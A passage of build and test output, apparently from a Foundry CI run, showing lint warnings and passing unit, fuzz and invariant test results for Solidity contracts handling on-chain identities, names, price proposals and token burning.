src/SwarmPrices.sol:324:36\n    │\n324 │             out[--digits] = bytes1(uint8(48 + value % 10));\n    │                                    ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[environment-read-across-mutation]: `block.timestamp` may be reused across `vm.warp`\n    ╭▸ test/LARPAgents.t.sol:139:28\n    │\n139 │         uint256 deadline = block.timestamp + 1 hours;\n    │                            ━━━━━━━━━━━━━━━\n140 │         bytes memory sig = _sign(ownerKey, 7, agent, owner, 0, deadline);\n141 │         vm.warp(deadline + 1);\n    │         ───────────────────── `vm.warp` changes this environment here\n    │\n    ├ help: capture it with `vm.getBlockTimestamp()` instead\n    ╰ help: https://getfoundry.sh/forge/linting/environment-read-across-mutation\n\nwarning[environment-read-across-mutation]: `block.timestamp` may be reused across `vm.warp`\n    ╭▸ test/SwarmPricesEdges.t.sol:195:95\n    │\n195 │         (Attestation memory a, bytes memory sig) = _attest(true, 0, \"\", block.chainid, uint64(block.timestamp + 1 days));\n    │                                                                                               ━━━━━━━━━━━━━━━\n    ‡\n201 │         vm.warp(block.timestamp + 14 days);\n    │         ────────────────────────────────── `vm.warp` changes this environment here\n    │\n    ├ help: capture it with `vm.getBlockTimestamp()` instead\n    ╰ help: https://getfoundry.sh/forge/linting/environment-read-across-mutation\n\nwarning[environment-read-across-mutation]: `block.timestamp` may be reused across `vm.warp`\n    ╭▸ test/SwarmPricesEdges.t.sol:51:30\n    │\n 51 │             issuedAt: uint64(block.timestamp),\n    │                              ━━━━━━━━━━━━━━━\n    ‡\n201 │         vm.warp(block.timestamp + 14 days);\n    │         ────────────────────────────────── `vm.warp` changes this environment here\n    │\n    ├ help: capture it with `vm.getBlockTimestamp()` instead\n    ╰ help: https://getfoundry.sh/forge/linting/environment-read-across-mutation\n\nwarning[environment-read-across-mutation]: `block.timestamp` may be reused across `vm.warp`\n    ╭▸ test/SwarmPricesEdges.t.sol:201:17\n    │\n201 │         vm.warp(block.timestamp + 14 days);\n    │         ────────━━━━━━━━━━━━━━━─────────── `vm.warp` changes this environment here\n    │\n    ├ help: capture it with `vm.getBlockTimestamp()` instead\n    ╰ help: https://getfoundry.sh/forge/linting/environment-read-across-mutation\n\nwarning[environment-read-across-mutation]: `block.timestamp` may be reused across `vm.warp`\n    ╭▸ test/SwarmPricesEdges.t.sol:195:95\n    │\n195 │         (Attestation memory a, bytes memory sig) = _attest(true, 0, \"\", block.chainid, uint64(block.timestamp + 1 days));\n    │                                                                                               ━━━━━━━━━━━━━━━\n    ‡\n228 │         vm.warp(block.timestamp + 7 days);\n    │         ───────────────────────────────── `vm.warp` changes this environment here\n    │\n    ├ help: capture it with `vm.getBlockTimestamp()` instead\n    ╰ help: https://getfoundry.sh/forge/linting/environment-read-across-mutation\n\nwarning[environment-read-across-mutation]: `block.timestamp` may be reused across `vm.warp`\n    ╭▸ test/SwarmPricesEdges.t.sol:51:30\n    │\n 51 │             issuedAt: uint64(block.timestamp),\n    │                              ━━━━━━━━━━━━━━━\n    ‡\n228 │         vm.warp(block.timestamp + 7 days);\n    │         ───────────────────────────────── `vm.warp` changes this environment here\n    │\n    ├ help: capture it with `vm.getBlockTimestamp()` instead\n    ╰ help: https://getfoundry.sh/forge/linting/environment-read-across-mutation\n\nwarning[environment-read-across-mutation]: `block.timestamp` may be reused across `vm.warp`\n    ╭▸ test/SwarmPricesEdges.t.sol:228:17\n    │\n228 │         vm.warp(block.timestamp + 7 days);\n    │         ────────━━━━━━━━━━━━━━━────────── `vm.warp` changes this environment here\n    │\n    ├ help: capture it with `vm.getBlockTimestamp()` instead\n    ╰ help: https://getfoundry.sh/forge/linting/environment-read-across-mutation\n\n","passed":true},{"durationMs":55340,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 11 tests for test/MainnetFork.t.sol:MainnetForkTest\n[SKIP] test_ACrewBuysAndBurnsRealIMD() (gas: 0)\n[SKIP] test_ANameBuysRealIMDOnPool4AndBurnsIt() (gas: 0)\n[SKIP] test_ANameChangesHandsAndBurns() (gas: 0)\n[SKIP] test_ANamePaidInRealImd() (gas: 0)\n[SKIP] test_APriceProposalThroughIMDsRealIntake() (gas: 0)\n[SKIP] test_AnAgentRunsTheTreasurysIdentity() (gas: 0)\n[SKIP] test_AnIdentityWearsAWorkerFren() (gas: 0)\n[SKIP] test_RealProofsRefuseTampering() (gas: 0)\n[SKIP] test_TheHooklessPoolTakesWhatPool4Cant() (gas: 0)\n[SKIP] test_TheRealJeetBoard() (gas: 0)\n[SKIP] test_TheTreasurysCard() (gas: 0)\nSuite result: ok. 0 passed; 0 failed; 11 skipped; finished in 1.29ms (2.23ms CPU time)\n\nRan 14 tests for test/LARPAgents.t.sol:LARPAgentsTest\n[PASS] test_AContractWalletSignsWithERC1271() (gas: 431060)\n[PASS] test_ASignatureWorksOnce() (gas: 230440)\n[PASS] test_AnAgentCantNameAgentsOrTheWallet() (gas: 195871)\n[PASS] test_AnAgentDressesTheIdentityWithTheOwnersNFTs() (gas: 396334)\n[PASS] test_AnAgentLapsesOnASale() (gas: 317701)\n[PASS] test_AnAgentLinksTheOwnersNameAndSetsTexts() (gas: 978066)\n[PASS] test_AnAgentResigns() (gas: 193582)\n[PASS] test_AnAgentRunsFrensAndCrews() (gas: 1223270)\n[PASS] test_AnyAgentChangeVoidsOutstandingSignatures() (gas: 188002)\n[PASS] test_BadSignatures() (gas: 364692)\n[PASS] test_OnlyTheOwnerSetsTheAgent() (gas: 40977)\n[PASS] test_SignaturesExpire() (gas: 49228)\n[PASS] test_TheOwnerConnectsAnAgentInOneCall() (gas: 188975)\n[PASS] test_TheOwnerSignsTheAgentSends() (gas: 176447)\nSuite result: ok. 14 passed; 0 failed; 0 skipped; finished in 8.18ms (6.66ms CPU time)\n\nRan 14 tests for test/LARPItems.t.sol:LARPItemsTest\n[PASS] test_AFaceBecomesAnItem() (gas: 321185)\n[PASS] test_AnItemBecomesAnotherIdentitysFace() (gas: 306295)\n[PASS] test_EquipAnERC1155Copy() (gas: 195226)\n[PASS] test_EquipAnERC721() (gas: 228623)\n[PASS] test_OneCopyOnePlacement() (gas: 372050)\n[PASS] test_ReequippingTheSameCopyInTheSameSlot() (gas: 213412)\n[PASS] test_RefusedItems() (gas: 220243)\n[PASS] test_ReplacingAnItemFreesTheOldOne() (gas: 291522)\n[PASS] test_SellingACopyDarkensItsPlacementsUntilOneComesOff() (gas: 456264)\n[PASS] test_SellingTheIdentityDarkensItsItems() (gas: 360711)\n[PASS] test_SlotsAreOneToEight() (gas: 224747)\n[PASS] test_StrangersCantTakeItemsOff() (gas: 174966)\n[PASS] test_TheNewOwnerClearsTheOldItems() (gas: 343634)\n[PASS] test_ThePlacerTakesItsCopyBackAfterSellingTheIdentity() (gas: 399525)\nSuite result: ok. 14 passed; 0 failed; 0 skipped; finished in 10.25ms (5.94ms CPU time)\n\nRan 15 tests for test/LARPEdges.t.sol:LARPEdgesTest\n[PASS] testFuzz_WearerOfRoundTripsForAnyIdentityId(uint256,uint8) (runs: 256, μ: 220297, ~: 220684)\nLogs:\n  Bound result 1380000000000000000\n  Bound result 2\n\n[PASS] test_ACopyPlacedTwiceIsCountedTwice() (gas: 341053)\n[PASS] test_ASignatureFromAnotherChainIsRefused() (gas: 83326)\n[PASS] test_AgentsOfNothing() (gas: 146135)\n[PASS] test_AnAgentTakesOffThePreviousOwnersItems() (gas: 350579)\n[PASS] test_ConstantsAndDomain() (gas: 57230)\n[PASS] test_ContractWalletsThatRefuseOrMumble() (gas: 462979)\n[PASS] test_EmptySpots() (gas: 141020)\n[PASS] test_OddSignatureBytes() (gas: 342349)\n[PASS] test_OneAgentForTwoIdentities() (gas: 326950)\n[PASS] test_RemovingAnAgentBumpsTheNonce() (gas: 371695)\n[PASS] test_ResigningDoesNotBumpTheNonce() (gas: 288556)\n[PASS] test_SupportsInterfaceIsPure() (gas: 15273)\n[PASS] test_TakingOffAnEmptySlotIsSilent() (gas: 61582)\n[PASS] test_ThePlacerTakesOffWhatItPlacedAfterSellingTheIdentity() (gas: 426342)\nSuite result: ok. 15 passed; 0 failed; 0 skipped; finished in 21.03ms (23.30ms CPU time)\n\nRan 15 tests for test/SwarmPrices.t.sol:SwarmPricesTest\n[PASS] test_AProposalForOldPricesGoesStale() (gas: 3672902)\n[PASS] test_ARejectedProposalChangesNothing() (gas: 2232278)\n[PASS] test_AVerdictMustBeUsedWithinTwoWeeks() (gas: 2208993)\n[PASS] test_AWeakPanelIsARejection() (gas: 6235442)\n[PASS] test_AnExpiredVerdictIsARejection() (gas: 2192125)\n[PASS] test_AnyoneProposesAndTheContractWritesTheQuestion() (gas: 2850404)\n[PASS] test_ApprovedThenAnyoneExecutes() (gas: 3555588)\n[PASS] test_ExecutedOnce() (gas: 2252959)\n[PASS] test_Guardrails() (gas: 209261)\n[PASS] test_NoVerdictClosesTheProposal() (gas: 2224808)\n[PASS] test_OneChangeAWeek() (gas: 3735070)\n[PASS] test_OnlyTheIntakeDeliversAndOnlyForItsOwnProposals() (gas: 2218713)\n[PASS] test_OnlyTheOraclesSignatureForThisContractCounts() (gas: 2357130)\n[PASS] test_StartPrices() (gas: 58550)\n[PASS] test_TheOracleMustBePaid() (gas: 229593)\nSuite result: ok. 15 passed; 0 failed; 0 skipped; finished in 61.08ms (22.61ms CPU time)\n\nRan 4 tests for test/Launch.t.sol:LaunchTest\n[PASS] test_DeploysOnAFreshChain() (gas: 190674)\n[PASS] test_FitsOneTransaction() (gas: 23419)\nLogs:\n  launch gas, four creations: 7030\n\n[PASS] test_PassesTheAdmissionScan() (gas: 17257523)\n[PASS] test_UnderTheCodeSizeLimit() (gas: 9813)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 61.23ms (63.43ms CPU time)\n\nRan 18 tests for test/SwarmPricesEdges.t.sol:SwarmPricesEdgesTest\n[PASS] testFuzz_TheGuardrailsAreExactlyTheDocumentedRule(uint64,uint64,uint64,uint64) (runs: 512, μ: 264955, ~: 60802)\nLogs:\n  Bound result 12001953256459967\n  Bound result 2800000000049335\n  Bound result 655510513902870\n  Bound result 328478\n\n[PASS] test_AFailureAfterAVerdictIsRefused() (gas: 2259217)\n[PASS] test_AVerdictExpiringThisSecondStillCounts() (gas: 2206242)\n[PASS] test_AnUnknownProposalIsNone() (gas: 16475)\n[PASS] test_ExactlyTwiceAndExactlyHalfAreAllowed() (gas: 6297315)\n[PASS] test_ExecutingNothingOrAPendingProposalIsRefused() (gas: 2173497)\n[PASS] test_OverpayingTheOracleIsTheProposersChoice() (gas: 2145207)\n[PASS] test_PricesAfterTwoChangesStayWithinTheRailsOfEach() (gas: 3664894)\n[PASS] test_ProposingNeedsTheProposersImd() (gas: 370191)\n[PASS] test_TheAnswerMustBeABoolTrueAboutThisChain() (gas: 6224419)\n[PASS] test_TheCallbackSelectorsAreTheProtocolsLayout() (gas: 2228539)\n[PASS] test_TheFirstChangeHasNoCooldown() (gas: 2245109)\n[PASS] test_TheLastSecondOfTheCooldown() (gas: 3748538)\n[PASS] test_TheLastSecondOfTheExecuteWindow() (gas: 2241673)\n[PASS] test_TheProtocolsOwnSignatureVerifies() (gas: 2358890)\n[PASS] test_TheProtocolsSignatureOnATamperedVectorIsRefused() (gas: 2399236)\n[PASS] test_TheVectorsSignerApprovesWithABoolAnswer() (gas: 2362081)\n[PASS] test_TwoProposalsOneVerdictEach() (gas: 3570584)\nSuite result: ok. 18 passed; 0 failed; 0 skipped; finished in 61.27ms (80.48ms CPU time)\n\nRan 24 tests for test/LARPLinks.t.sol:LARPLinksTest\n[PASS] test_AGasHungryTokenCantSinkTheBoard() (gas: 1737463)\n[PASS] test_AnInnerNodeIsNotALeaf() (gas: 1448373)\n[PASS] test_AnUnreadableTokenCountsAsHeld() (gas: 1784660)\n[PASS] test_BadAllocations() (gas: 1754999)\n[PASS] test_CaptainsRun() (gas: 955602)\n[PASS] test_Card() (gas: 1629846)\n[PASS] test_CrewFoundingRules() (gas: 909221)\n[PASS] test_Disband() (gas: 1536807)\n[PASS] test_FoundACrewWithImd() (gas: 1176652)\n[PASS] test_FoundingACrewBurnsIMD() (gas: 741849)\n[PASS] test_FrenRules() (gas: 383139)\n[PASS] test_FrensPassWithTheIdentity() (gas: 302573)\n[PASS] test_FrensTakeTwo() (gas: 266329)\n[PASS] test_JeetsAreReadLive() (gas: 2364108)\n[PASS] test_JeetsInPages() (gas: 8424463)\n[PASS] test_OpenAndClosedCrews() (gas: 1681759)\n[PASS] test_PassTheCaptaincy() (gas: 940680)\n[PASS] test_ProveAnAllocation() (gas: 1534389)\n[PASS] test_RanksAcrossLaunches() (gas: 5184173)\n[PASS] test_TheCaptaincyPassesWithTheIdentity() (gas: 760598)\n[PASS] test_TheRankIsTheHoldersNow() (gas: 1748137)\n[PASS] test_Tiers() (gas: 80885)\n[PASS] test_Unfren() (gas: 271974)\n[PASS] test_WithdrawAndDeclineAsks() (gas: 244060)\nSuite result: ok. 24 passed; 0 failed; 0 skipped; finished in 61.63ms (28.88ms CPU time)\n\nRan 24 tests for test/LARPLinksEdges.t.sol:LARPLinksEdgesTest\n[PASS] testFuzz_JeetBpsIsTheSoldShareOfTheAllocation(uint128,uint256,bool) (runs: 256, μ: 1669661, ~: 1535775)\nLogs:\n  Bound result 5633\n  Bound result 688\n\n[PASS] testFuzz_TiersAreMonotoneInJeetPoints(uint256,uint256,uint256) (runs: 256, μ: 33098, ~: 33290)\nLogs:\n  Bound result 104\n  Bound result 680335\n  Bound result 680349\n\n[PASS] test_ACardWithALiveFace() (gas: 694335)\n[PASS] test_ADisbandedCrewIsGone() (gas: 987686)\n[PASS] test_ADistributorWithoutARootIsUnknown() (gas: 1411930)\n[PASS] test_ADistributorWithoutATokenCountsAsHeld() (gas: 1673555)\n[PASS] test_ALauncherAnsweringGarbageIsUnknown() (gas: 1533984)\n[PASS] test_AllocationBounds() (gas: 2897946)\n[PASS] test_AnAskSurvivesASaleOfEitherIdentity() (gas: 241341)\n[PASS] test_AnEmptyProofForASoloRound() (gas: 1509668)\n[PASS] test_AnIdentityNobodyHolds() (gas: 54774)\n[PASS] test_CaptainRules() (gas: 951196)\n[PASS] test_ConstructorRefusesZeroAddresses() (gas: 13620)\n[PASS] test_CrewNamesAtTheEdges() (gas: 1415650)\n[PASS] test_Defaults() (gas: 177309)\n[PASS] test_FoundCrewWithImdRefusals() (gas: 1369228)\n[PASS] test_FoundCrewWithTheWrongValue() (gas: 360493)\n[PASS] test_InviteRules() (gas: 931159)\n[PASS] test_JoinLeaveRules() (gas: 1107139)\n[PASS] test_LaunchJeetPastTheEndReverts() (gas: 14427)\n[PASS] test_MembersCountFollowsEveryMove() (gas: 1088442)\n[PASS] test_TwoRoundsOfOneLaunchAreOneLevel() (gas: 1866835)\n[PASS] test_UnfrenClearsBothAsksAtOnce() (gas: 388582)\n[PASS] test_UnfrenWithNothingDoesNothing() (gas: 86806)\nSuite result: ok. 24 passed; 0 failed; 0 skipped; finished in 61.74ms (84.72ms CPU time)\n\nRan 28 tests for test/IMDNames.t.sol:IMDNamesTest\n[PASS] test_ABrokenRendererFallsBackToTheCard() (gas: 10710728)\n[PASS] test_AFeeParksWhenNoPoolCanTakeIt() (gas: 8869077)\n[PASS] test_ANewOwnerPaysTheTollToLink() (gas: 1022556)\n[PASS] test_ARoyaltyPaymentIsBurned() (gas: 560095)\n[PASS] test_AnyoneRegistersAnyFreeName() (gas: 614424)\n[PASS] test_BadNames() (gas: 75963)\n[PASS] test_LinkRules() (gas: 227615)\n[PASS] test_LinkTheNameToAnIdentity() (gas: 188843)\n[PASS] test_NoImdPaymentWithoutBothPools() (gas: 233452)\n[PASS] test_OneNamePerIdentityOneIdentityPerName() (gas: 929887)\n[PASS] test_Prices() (gas: 63586)\n[PASS] test_Primary() (gas: 249650)\n[PASS] test_RegisterForSomeoneElse() (gas: 605399)\n[PASS] test_RegisterWithImd() (gas: 955060)\n[PASS] test_RegisterWithImdRespectsMaxImd() (gas: 784770)\n[PASS] test_RegisteringMintsTheNameAndBurnsTheFee() (gas: 650210)\n[PASS] test_RegistrationRules() (gas: 227789)\n[PASS] test_RoyaltiesGoToTheBurner() (gas: 40917)\n[PASS] test_SellingTheIdentityTakesItDown() (gas: 170604)\n[PASS] test_SellingTheNameTakesItDown() (gas: 207919)\n[PASS] test_ShortNamesHaveShortNameTolls() (gas: 653414)\n[PASS] test_TextRecordsStartOverWithANewHolder() (gas: 217164)\n[PASS] test_TheArtistChangesTheArtAndOnlyTheArt() (gas: 409849)\n[PASS] test_TheBuiltInCard() (gas: 3442034)\n[PASS] test_TheNamesNewOwnerUnlinksAStaleLink() (gas: 235869)\n[PASS] test_TheTollFollowsEveryChangeOfHands() (gas: 214656)\n[PASS] test_TheTollInImd() (gas: 1089269)\n[PASS] test_Unlink() (gas: 207574)\nSuite result: ok. 28 passed; 0 failed; 0 skipped; finished in 68.07ms (72.10ms CPU time)\n\nRan 24 tests for test/LARP.t.sol:LARPFaceTest\n[PASS] testFuzz_OnlyTheHolderOfBothSetsAFace(address,uint256,uint256) (runs: 256, μ: 55978, ~: 56504)\nLogs:\n  Bound result 0\n  Bound result 8\n\n[PASS] test_AFaceComesBackWithBothTokens() (gas: 220934)\n[PASS] test_AMaskMovesToTheIdentityThatPutsItOn() (gas: 323750)\n[PASS] test_AvatarFormat() (gas: 249931)\n[PASS] test_ChangingMasksFreesTheOldOne() (gas: 274960)\n[PASS] test_ClearFace() (gas: 200738)\n[PASS] test_ClearingNoFaceDoesNothing() (gas: 36612)\n[PASS] test_FaceURIFallsBackOnABrokenTokenURI() (gas: 2152591)\n[PASS] test_OnlyTheIdentitysOwnerClears() (gas: 173845)\n[PASS] test_PuttingTheSameMaskOnAgain() (gas: 240094)\n[PASS] test_RefusesAMaskThatIsNotYours() (gas: 49187)\n[PASS] test_RefusesAnIdentityAsAMask() (gas: 41585)\n[PASS] test_RefusesAnIdentityThatDoesNotExist() (gas: 41653)\n[PASS] test_RefusesAnIdentityThatIsNotYours() (gas: 43653)\n[PASS] test_RefusesWhatIsNotAnNFT() (gas: 510494)\n[PASS] test_SellingTheIdentityTakesTheFaceDown() (gas: 252506)\n[PASS] test_SellingTheMaskTakesTheFaceDown() (gas: 223250)\n[PASS] test_SetFace() (gas: 266231)\n[PASS] test_SupportsInterface() (gas: 27637)\n[PASS] test_TheIdentitysNewOwnerClearsTheOldFace() (gas: 225470)\n[PASS] test_TheNewHolderOfAMaskTakesItOff() (gas: 321718)\n[PASS] test_TheNewOwnerMustChooseAgain() (gas: 327564)\n[PASS] test_WearerOfAnUnwornMask() (gas: 14020)\n[PASS] test_ZeroIdentityRefused() (gas: 4446)\nSuite result: ok. 24 passed; 0 failed; 0 skipped; finished in 73.99ms (79.98ms CPU time)\n\nRan 23 tests for test/IMDNamesEdges.t.sol:IMDNamesEdgesTest\n[PASS] test_APrimaryWithoutANameIsLiveAndNameless() (gas: 182148)\n[PASS] test_ARendererThatAnswersNothingFallsBack() (gas: 383517)\n[PASS] test_ASaleDarkensTheLinkAndTheTextStays() (gas: 286425)\n[PASS] test_AStrangerCannotUnlink() (gas: 160664)\n[PASS] test_AnAgentLinksUnlinksAndWrites() (gas: 485900)\n[PASS] test_ApprovalsAndOperatorTransfers() (gas: 451956)\n[PASS] test_Constants() (gas: 190678)\n[PASS] test_ConstructorRefusesZeroAddresses() (gas: 15761)\n[PASS] test_LockingIsIdempotentAndKeepsTheRenderer() (gas: 291839)\n[PASS] test_PrimaryAndTextRefusals() (gas: 147569)\n[PASS] test_ReadingNames() (gas: 64641)\n[PASS] test_RegisterRefusesLessThanThePrice() (gas: 216769)\n[PASS] test_RegisterWithAFloorTheBurnCannotMeet() (gas: 220477)\n[PASS] test_RegisterWithImdNeedsAnAllowance() (gas: 622045)\n[PASS] test_ResolveNameSpellings() (gas: 149381)\n[PASS] test_RoyaltyRounding() (gas: 34991)\n[PASS] test_SafeTransfersCheckTheReceiver() (gas: 603221)\n[PASS] test_TheArtistRenouncesAndTheArtIsFinal() (gas: 153994)\n[PASS] test_TheCardOfAnUnlinkedName() (gas: 2382294)\n[PASS] test_TheLongestAndShortestNames() (gas: 1229747)\n[PASS] test_TheTollInImdRespectsMaxImd() (gas: 1131555)\n[PASS] test_TransferRules() (gas: 144615)\n[PASS] test_UnlinkingNothingDoesNothing() (gas: 37777)\nSuite result: ok. 23 passed; 0 failed; 0 skipped; finished in 110.26ms (19.34ms CPU time)\n\nRan 19 tests for test/LARPBurnerEdges.t.sol:LARPBurnerEdgesTest\n[PASS] testFuzz_ABurnSpendsMinOfBalanceAndMaxBurn(uint256,uint256) (runs: 128, μ: 787310, ~: 786495)\nLogs:\n  Bound result 379999999999999998\n  Bound result 1806152484\n\n[PASS] testFuzz_QuoteIsLinearAndMonotone(uint256,uint256) (runs: 256, μ: 576446, ~: 576524)\nLogs:\n  Bound result 1380000000000000000\n  Bound result 8620000001806152485\n\n[PASS] testFuzz_SixPointNinePercentBuysIMD6900AndTheRestBurns(uint256) (runs: 256, μ: 557354, ~: 550120)\nLogs:\n  Bound result 2612\n\n[PASS] testFuzz_TwoBurnsInOneBlockSellAtMostOneCapOfWaitingEth(uint256,uint256,uint256) (runs: 192, μ: 999133, ~: 1001600)\nLogs:\n  Bound result 358068016226808410\n  Bound result 258281067501152651\n  Bound result 60703170279578869\n\n[PASS] test_APartialFillOnPool4FallsToTheHooklessPool() (gas: 2567922)\n[PASS] test_AWethAnsweringShortIsIgnored() (gas: 895425)\n[PASS] test_AWethThatRefusesToUnwrapIsIgnored() (gas: 933015)\n[PASS] test_AWrongPool4KeyFallsToTheHooklessPool() (gas: 831950)\n[PASS] test_BelowTheLegBudgetABurnIsRefusedBeforeAnyLegRuns() (gas: 984698)\n[PASS] test_Constants() (gas: 65753)\n[PASS] test_ConstructorRefusesZeroAddresses() (gas: 9321)\n[PASS] test_ExactlyMaxBurnInOneCall() (gas: 1341882)\n[PASS] test_NoPoolAtAllParksAndQuotesNothing() (gas: 611038)\n[PASS] test_NothingToBurnIsNotAnError() (gas: 378902)\n[PASS] test_OneWeiParks() (gas: 665754)\n[PASS] test_QuoteOfTheSmallestPrice() (gas: 549095)\n[PASS] test_ReceiveTakesEmptyCallsOnly() (gas: 66357)\n[PASS] test_TheBlockAllowanceCountsOnlyTheWaitingEth() (gas: 2337943)\n[PASS] test_UnwrappedWethIsWaitingEth() (gas: 1639886)\nSuite result: ok. 19 passed; 0 failed; 0 skipped; finished in 115.92ms (341.58ms CPU time)\n\nRan 26 tests for test/LARPBurner.t.sol:LARPBurnerTest\n[PASS] test_AFeeAlwaysGoesThroughWhateverTheBlockSpent() (gas: 2294498)\n[PASS] test_AGasEatingIMD6900IsSkippedNotFatal() (gas: 7938021)\n[PASS] test_AGasEatingPool4HookFallsToTheHooklessPool() (gas: 4096687)\n[PASS] test_AGenuineFailureIsNotMistakenForTooLittleGas() (gas: 864302)\n[PASS] test_ASwapOutOfGasReverts() (gas: 10077859)\n[PASS] test_AnEmptyPairPoolMeansItAllBurnsAsIMD() (gas: 817176)\n[PASS] test_AnIMD6900LegOutOfGasDeepDownReverts() (gas: 3914783)\n[PASS] test_AnIMD6900ThatWontBurnMeansItAllBurnsAsIMD() (gas: 779535)\n[PASS] test_AtMostMaxBurnPerCallAndPerBlockOfWaitingEth() (gas: 2341959)\n[PASS] test_BurnCallsBatchedInOneTransactionSellOneCap() (gas: 1029214)\n[PASS] test_BurnImdBurnsWhatArrivesInIMD() (gas: 513446)\n[PASS] test_BuysOnPool4First() (gas: 1063491)\n[PASS] test_MinImd() (gas: 955439)\n[PASS] test_NoGasLimitSkipsAHeavyIMD6900Leg() (gas: 68061264)\n[PASS] test_NoGasLimitSkipsARoute() (gas: 5892735)\n[PASS] test_NoQuoteWithoutBothPools() (gas: 297254)\n[PASS] test_NoReentry() (gas: 465354)\n[PASS] test_OnlyThePoolManagerCallsBack() (gas: 32785)\n[PASS] test_ParkedWhenNoPoolCanAndBurnedLater() (gas: 1371147)\n[PASS] test_QuoteIsTheHigherOfTheTwoPools() (gas: 1119688)\n[PASS] test_RoyaltiesArriveByPlainTransfer() (gas: 44059)\n[PASS] test_ShareBuysIMD6900AndBurnsIt() (gas: 841744)\n[PASS] test_SpacingAboveV4sLargestReverts() (gas: 11301)\n[PASS] test_SpacingsAreTakenUnsignedAndKeptAsInt24() (gas: 28075)\n[PASS] test_TheHooklessPoolIfPool4CantTakeIt() (gas: 1175492)\n[PASS] test_WethRoyaltiesAreUnwrappedAndSold() (gas: 1125069)\nSuite result: ok. 26 passed; 0 failed; 0 skipped; finished in 234.46ms (349.68ms CPU time)\n\nRan 1 test for test/SwarmPrices.invariant.t.sol:SwarmPricesInvariantTest\n[PASS]\nSwarmPricesInvariantTest invariants:\n[PASS] invariant_CountersMatchWhatHappened\n[PASS] invariant_NamesHoldsNothing\n[PASS] invariant_NoProposalReopens\n[PASS] invariant_PricesChangeOnlyByExecution\n[PASS] invariant_PricesWithinTheGuardrails\n SwarmPricesInvariantTest invariants (runs: 64, calls: 3072, reverts: 0)\n\n╭--------------+----------+-------+---------+----------╮\n| Contract     | Selector | Calls | Reverts | Discards |\n+======================================================+\n| SwarmHandler | execute  | 416   | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| SwarmHandler | fail     | 452   | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| SwarmHandler | forge    | 432   | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| SwarmHandler | pass     | 459   | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| SwarmHandler | propose  | 429   | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| SwarmHandler | stranger | 458   | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| SwarmHandler | verdict  | 426   | 0       | 0        |\n╰--------------+----------+-------+---------+----------╯\n\nLogs:\n  Bound result 18400000000000028\n  Bound result 4506666666671667\n  Bound result 690000000000000\n  Bound result 1840000000001377\n  Bound result 400000000000011585\n  Bound result 774030\n  Bound result 18400000000009001\n  Bound result 4506666666670280\n  Bound result 1840000000032770\n  Bound result 1840000000200001\n  Bound result 400000000000000014\n  Bound result 18400000000000889\n  Bound result 4506666666667407\n  Bound result 1840000004500001\n  Bound result 1840000000009568\n  Bound result 590000000000000000\n  Bound result 14355140060332880\n  Bound result 2111778257272351\n  Bound result 1712339438615830\n  Bound result 2061378826931481\n  Bound result 471780160387137942\n  Bound result 184860\n  Bound result 18400000000011592\n  Bound result 4506669924300847\n  Bound result 1840001000000001\n  Bound result 1840000000000706\n  Bound result 583642342100861083\n  Bound result 774128\n  Bound result 40000\n  Bound result 18400000000001944\n  Bound result 4506666667326586\n  Bound result 1840003381775281\n  Bound result 1840000000000243\n  Bound result 505940510100092569\n  Bound result 18400000000002291\n  Bound result 4506666666666765\n  Bound result 1308660964664008\n  Bound result 1840000000011514\n  Bound result 400000000000015098\n  Bound result 774009\n  Bound result 12283086954781406\n  Bound result 4678089153197782\n  Bound result 1033815147047888\n  Bound result 1840000002485341\n  Bound result 400000000008073780\n  Bound result 18400000003397380\n  Bound result 2793491591268227\n  Bound result 519582224076812\n  Bound result 1763100958854582\n  Bound result 599999999999999997\n  Bound result 3878064151063055\n  Bound result 4506666666667406\n  Bound result 1840000000001675\n  Bound result 1200000000000000\n  Bound result 400000000000008746\n  Bound result 17493137790525176\n  Bound result 4506666666743708\n  Bound result 1840000000008108\n  Bound result 1840003660957284\n  Bound result 400000000000002218\n  Bound result 774201\n  Bound result 608808\n  Bound result 20006012112652325\n  Bound result 624992294353217\n  Bound result 365263295321994\n  Bound result 996961668635958\n  Bound result 549122123044683683\n  Bound result 18400000000000243\n  Bound result 4506666666670268\n  Bound result 1840000000016047\n  Bound result 1840000000017986\n  Bound result 400000001026354290\n  Bound result 192607\n  Bound result 18400000000002871\n  Bound result 4506666666677543\n  Bound result 1840000000010820\n  Bound result 1840000000009838\n  Bound result 400000000000035870\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.05s (1.04s CPU time)\n\nRan 1 test for test/LARPBurner.invariant.t.sol:LARPBurnerInvariantTest\n[PASS]\nLARPBurnerInvariantTest invariants:\n[PASS] invariant_DeadHoldsOnlyImd\n[PASS] invariant_EthLeavesOnlyAsASwap\n[PASS] invariant_Imd6900OnlyBurns\n[PASS] invariant_ImdGoesOnlyToDeadOrTheIMD6900Buy\n[PASS] invariant_NoImdOutlivesABurn\n[PASS] invariant_WaitingEthLeavesAtMostOneCapPerBlock\n LARPBurnerInvariantTest invariants (runs: 64, calls: 3072, reverts: 0)\n\n╭---------------+-------------------+-------+---------+----------╮\n| Contract      | Selector          | Calls | Reverts | Discards |\n+================================================================+\n| BurnerHandler | burn              | 413   | 0       | 0        |\n|---------------+-------------------+-------+---------+----------|\n| BurnerHandler | burnImd           | 372   | 0       | 0        |\n|---------------+-------------------+-------+---------+----------|\n| BurnerHandler | burnWithLittleGas | 378   | 0       | 0        |\n|---------------+-------------------+-------+---------+----------|\n| BurnerHandler | donateEth         | 382   | 0       | 0        |\n|---------------+-------------------+-------+---------+----------|\n| BurnerHandler | donateImd         | 376   | 0       | 0        |\n|---------------+-------------------+-------+---------+----------|\n| BurnerHandler | donateWeth        | 378   | 0       | 0        |\n|---------------+-------------------+-------+---------+----------|\n| BurnerHandler | nextBlock         | 402   | 0       | 0        |\n|---------------+-------------------+-------+---------+----------|\n| BurnerHandler | trade             | 371   | 0       | 0        